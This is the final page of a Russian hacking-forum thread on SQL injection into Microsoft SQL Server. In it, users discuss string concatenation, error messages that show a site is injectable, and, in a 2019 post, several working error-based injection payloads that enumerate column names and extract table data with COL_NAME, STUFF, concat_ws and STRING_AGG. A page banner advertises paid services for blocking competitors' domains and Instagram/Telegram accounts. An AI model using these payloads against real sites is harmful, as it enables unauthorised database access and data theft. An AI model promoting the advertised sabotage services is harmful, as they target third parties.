Провидение Иньекций в MSSQL сервер от Microsoft.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ИНФО > Статьи > Авторские статьи
Провидение Иньекций в MSSQL сервер от Microsoft.

Страница 12 из 12

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#111

26.06.2012, 19:33

tmp

Участник форума

Регистрация: 10.03.2005

Сообщений: 234

С нами: 11141693

Репутация: 56

Цитата:

Сообщение от cat1vo

cast() - это привидение к определенному типу данных, а не объединение! Используйте concat()

В mssql concat тоже работает? ща попробую

#112

27.06.2012, 00:37

tmp

Участник форума

Регистрация: 10.03.2005

Сообщений: 234

С нами: 11141693

Репутация: 56

такс.. походу наводка не совсем правильная. concat реализована только с MS SQL 2012. думаю такое в настоящее время редко найдешь. у меня банальная версия:

Цитата:

Сообщение от None

вопрос актуален.

#113

02.10.2013, 19:56

WF34

Новичок

Регистрация: 25.01.2013

Сообщений: 1

С нами: 6998006

Репутация: 0

если выводит такую ошибку

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Invalid SQL statement; expected 'DELETE', 'INSERT', 'PROCEDURE', 'SELECT', or 'UPDATE'.

/shop/en/products.asp, line 32

то sql инекция осуществима?

#114

01.12.2019, 17:55

Baskin-Robbins

Участник форума

Регистрация: 15.09.2018

Сообщений: 236

С нами: 4033046

Репутация: 212

Еще раз про подбор колонок, старая фича

Код:

152 and 1=COL_NAME(OBJECT_ID('master.sys.routes'), n)

где n номер колонки

Как альтернатива + и concat, в некоторой степени можно использовать STUFF

Код:

152 and 1=(SELECT top 1 (STUFF(@@version,1,0,zoneid)) FROM webkits..zones) --%20

1 -- позиция для вставки

0 -- определяет, какое количество символов следует удалить после вставки

C 2017 версии появилась concat_ws -- немного удобства для нас

Код:

152 and 1=concat_ws('A',(COL_NAME(OBJECT_ID('master.sys.routes'),3)),(COL_NAME(OBJECT_ID('master.sys.routes'), 2))) --%20

Так же с 2017 версии появился полноценный group_concat - привычно и удобно.

Код:

152 and 1=(SELECT STRING_AGG(zoneid, char(35)) FROM webkits..zones) --%20

Страница 12 из 12

« Первая

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Os - моя крепость	Elekt	Избранное	32	06.08.2009 15:10
Мнения: "Безопасность от Microsoft: шаг к обновленному миру?"	dinar_007	Мировые новости. Обсуждения.	5	25.12.2006 19:20
Дыра в Word позволяет захватить контроль над ПК	»Atom1c«	Мировые новости. Обсуждения.	17	12.12.2006 13:15

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход